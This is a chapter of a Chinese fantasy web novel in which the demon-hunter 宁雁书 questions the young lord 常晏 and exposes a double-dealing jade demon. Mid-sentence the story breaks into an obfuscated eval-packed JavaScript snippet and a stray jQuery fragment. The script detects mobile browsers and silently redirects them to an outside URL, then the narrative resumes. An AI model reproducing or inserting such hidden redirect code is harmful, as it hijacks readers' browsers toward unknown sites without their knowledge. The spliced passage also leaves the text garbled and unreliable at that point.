宁雁书看向少年的眼神变了,带着几分探究。
他怎么知道三百年前师兄下山的事情,难不成师兄出事他知道些什么?
“有过。”
少女把玩镯子的手停了,她也用手撑着脑袋,和常晏动作一样。
少年点头,心中已经了然,宁雁书久经思考后的回答,更加让他的心底确信,宁雁书想要找的人和三百年前偷袭自己,给自己种下剧毒的是同一个人。
阳光顺着窗户投了进来,窗户的倒影落在了二人的中间。
“好了,你想问的问题已经问过了,现在该我问了。”
宁雁书朝着椅子一躺,少年伸手,示意她随便问。
门外的丫鬟依旧站的笔直,没有一个人注意到屋内的不对劲。
“你怎么知道我是来找人的?”
其实刚刚听见常晏的那句话,她并没有反应过来,下意识的动作和慌张出卖了她,只好顺着话题承认,至于常晏是怎么发现她在找人的,她也不知道原因。
少年指了指她的玉镯:“自然是有人给我报信了。”
梦妖在身后听得一头雾水,难不成除了他,还有妖兄弟也被捉了?
宁雁书懂了他的这番话,心中不由得拍手叫好。
她抬手打了个响指,玉镯内的玉石小妖只觉得一阵天旋地转,被无情的抛了出来。
好一个厉斩天,先前明明信誓旦旦的说自己不认识闻音阁阁主,还随口拿常晏发毒誓,在收妖镯里待过依旧不老实,还敢背地里偷偷传信,果然没有一句实话。
初见天日,他立马丝滑下跪,等候吩咐:“主子,需要小的打哪!”
“小的一定唯主子马首是瞻,为主子赴汤蹈火在所不惜,有什么需要小的做的,只要是主子的吩咐,小的一定飞速完成!”
厉斩天趴在地上,这副模样,显得格外滑稽。
宁雁书提着他的衣服后领,将他从地上拎了起来。
小妖惶恐的望着少女的眼睛,嘴角咧着一丝标准的假笑,压根没有注意到此处还有其他人的存在。
少女皮笑肉不笑:“我吩咐的事情都完成?”
“我看是没吩咐的也一并完成了吧。”
厉斩天脸上的笑容渐渐凝固:“主子,你说什么呢,小的不是那种人,小的绝对忠心耿耿......”
他这话说的心虚,宁雁书也没打算继续和这只小妖浪费时间了,毕竟以他的嘴皮子功夫,和他争吵实在是浪费生命。
常晏身后的梦妖见到昔日的好友这副窝囊模样,没忍住笑出了声,他迅速捂住了嘴巴,偷瞄着常晏的脸色。
厉斩天听见笑声,身体瞬间僵硬,少女手动将玉石小妖转了个圈。
常晏和卫朔风二人赫然出现在他的视线里。
卫朔风朝着他摆了摆手:“兄弟,又见面了。”
“呵呵呵......”玉石小妖在抬头看见常晏那张脸的时候,心比看见宁雁书死的更早。
完犊子了。
他捂着脸,趴在地上,将自己的身体蜷缩起来。
简直是没脸见人。
“厉斩天,才多久没见,就学会认贼作父了?”
常晏质问声从头顶传来,现在他可真的是两边都解释不清了!
“阁主,我是被逼的啊。”厉斩天双手抱头,捂着耳朵,明摆着什么都不想听的架势。
宁雁书冷脸:“谁逼你了?”
“主子你可没有逼我,都是小的自愿的。”玉石小妖咬牙切齿道。
厉斩天的心已经死了片刻,他干脆趴在地上,一不做二不休,装死算了。
厉斩天心中暗暗想到,要是他们再问,我就一头撞死。
卫朔风也不忍见自己的好友被夹在中间,他偷摸着朝前挪了两步,缓缓蹲下身来,在宁雁书和常晏的眼皮子底下抓住了地上人的衣摆。
地上的玉石小妖被卫朔风抓住衣摆,小心翼翼的拖走了。
卫朔风临走前还心虚的朝着宁雁书摆了摆手,示意二人继续,他们就不打扰了。
宁雁书头一次见到脸皮这么厚的小妖,就连看着对面的常晏都不顺眼,当即出声阴阳:“你养的小妖真是能屈能伸,是不是随了你?”
常晏摊了摊手,一副无奈的模样:“我只是收留他们,不是当他们的爹娘。”
“除了做一些伤天害理的事我会管,其余怎么做,全是他们自己的事情。”
他这话再一次解释了闻音阁和魏山的妖物不会做伤天害理的事情,宁雁书自然听得出来,不过这一次,她没有反驳。
卫朔风和厉斩天两个人缩在房间角落,凑在一堆,不知道在低声聊着什么。
少女清了清嗓,随手将被风刮到脸上的发丝别到了耳后。
“常小侯爷在长安待了这么久,应该不只是简单的游山玩水吧?”
少女言语平缓,听不出情绪。
“在蛮荒待久了,就会失去人性,长安城中繁盛,就想来见识一圈人情冷暖。再加上周遭小妖频繁害人,我作为长辈,自然得在此处管教管教。”
少年言语真挚,恰好抹去了三百年前他被偷袭中毒的事实。
宁雁书点了点头,刚想继续问话。
这时,门外响起了一阵脚步声,房间里的四人同时抬眸望去。
只见门外丫鬟行礼的身影透过房门传了进来,还有丫鬟问好的声音。
“见过三姑娘。”
薛薇语的声音在门外响了起来:“大姐姐她醒了吗?”
“大姑娘还没醒,家主吩咐过,任何人不能打扰。”
丫鬟的声音里带着歉意,委婉的将薛薇语拦在了门外。
薛薇语停顿片刻,语气中带着几分落寞:“好吧,若是大姐姐醒了,还请转告她,阿娘要见她。”
此话完,门外的脚步声渐小,愈走愈远,应该是离开了。
角落的卫朔风和厉斩天面面相觑,十分有默契的望向了宁雁书,二人互相捂着对方的嘴巴,生怕被门外的少女发现了其他人的踪迹。
屈媛媛醒了?
若是让她先一步将我的身份暴露给薛贺,就算薛贺对薛南枝愧疚,怕还是会有所怀疑。
当真是麻烦。
少女转头对上了常晏的眼神,眼前一个麻烦,现在又来了一个。
她一拍桌子,从椅子上站了起来:“都怪你这个成事不足败事有余的,干嘛非得把屈媛媛带去魏山,净给我添麻烦。”
宁雁书嘴里吐槽着,手直接拽住了椅子上瘫坐少年的衣襟。
常晏在她的礼貌邀请中直接从椅子上站了起来,少女拉着他就往窗户走。
“你干嘛啊,你们天师就这点气度,怎么还动手动脚的。”
常晏后退两步,挣开了少女的手:“我不喜欢别人碰我。”
宁雁书双手抱胸,抬起头直视着少年的眼睛:“这是我房间,还请这位公子,从哪来的回哪去,不然就收妖镯里见面了。”
常晏皱眉:“天师大人这话说的不对吧。”
少年指着地板,一字一句:“此处应当是薛家大姑娘薛南枝的房间,天师大人,你是薛南枝吗?”
宁雁书懒得跟他废话,手上的收妖镯一下子飞了出来,变大了好几倍,就这么圈在少年的头顶。
常晏笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887210|212590||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了笑,指着收妖镯:“天师大人日后这脾气得改。”
宁雁书的脸色越来越黑,压根不想和他多说一句话。
厉斩天和卫朔风二人听见此话连忙溜了过来,二人一个去开窗户一个主动拉着常晏的袖子:“老大,走吧。”
玉石小妖弓着身子,眼神谄媚:“这收妖镯里的生活简直不是人呆的,有什么重要的下次再来说嘛。”
“书中说过,必有忍,其乃有济,有容,德乃大!”
谁知常晏盯着他突然改了注意,少年抬手一推,厉斩天的身形朝前踉跄了两步,他一脸震惊的盯着罪魁祸首。
常晏却只是轻描淡写的道:“你不是说过,必有忍,其乃有济,有容,德乃大。”
“既然你这么能忍,就先留下来吧。”
玉石小妖大惊失色:“啊?”
他抬头看了一眼宁雁书,立马捂住了嘴,嘿嘿一笑。
常晏道:“既然他已经认贼作父了,干脆让你养着算了。”
宁雁书看着紫衣少年,没有丝毫犹豫,打了个响指,还不待玉石小妖张嘴说话,就将他收了进去。
“常小侯爷慢走,若是有事,随时给这小妖传信。”
青衣少女故意阴阳一把少年。
常晏没有回答,单手撑着窗户边缘翻了出去,带起了一阵风,卫朔风眼见常晏离开了,他原本还想可怜可怜玉石小妖的,但是见到身后虎视眈眈的收妖镯,顾不得自己好兄弟的安危,翻窗离开了。
“老大,等等我!”
宁雁书一个人站在窗户边,听着耳边的哐当声。
房间里重新变得安静起来,他们这一趟可谓是,来也匆匆,去也匆匆。
门外传来了丫鬟焦急的声音:“大姑娘,你怎么了?”
宁雁书关上了窗户,喊道:“我没事。”
丫鬟停住了叫喊,解释道:“大姑娘莫怪,刚刚奴婢们听见屋内有声响,怕您出了什么意外,才问的。”
宁雁书一把拉开了房门,丫鬟们个个闭上了嘴巴,一言不发,低头不敢看她。
少女叹了口气:“没事,我出去一趟。”
一个胆子稍大一些的丫鬟追问:“姑娘要去何处?家主交代了,您不能走太远。”
“去见主母。”
宁雁书语气漠然的留下了四个字,便没再回头,离开了院子。
这个院子原本又偏僻又荒凉,现在在薛贺的打理下,倒是温暖有人请味了不少。
就连原本走廊里伸出来的枝叶都被人特意剪去了。
*
主院里,屈媛媛一个人躺在床上,床幔遮住了人影,院子里只有小雨在洒扫。
宁雁书从门口径直走了进来,她瞧见小雨,问道:“你们二姑娘和三姑娘呢?”
小雨行礼,恭敬道:“回大姑娘,二姑娘她在老夫人处,三姑娘她出门了。”
宁雁书点头,径直从门口走了进去,小雨见到了她的动作,却没有拦。
先前家主刚刚训斥过主院中的人,对这个女儿视若珍宝,就算有老夫人在,她这个丫鬟也是绝对不敢拦的。
再加上自己昨晚还的罪过她,听闻就连老夫人和二姑娘都被家主训斥了,若不是今日主母未醒,她们这主院的人恐怕也要受到牵连。
毕竟在这光天化日之下,想必大姑娘也不会对主母做什么。
小雨对宁雁书的进入视若无睹,继续忙着洒扫,就像是从来没有人进来过一样。
宁雁书随手关上了房门,一步一步的走到了床边,随手拉了个椅子坐下。
宁雁书看着床边,开口道:“说吧,找我做什么?”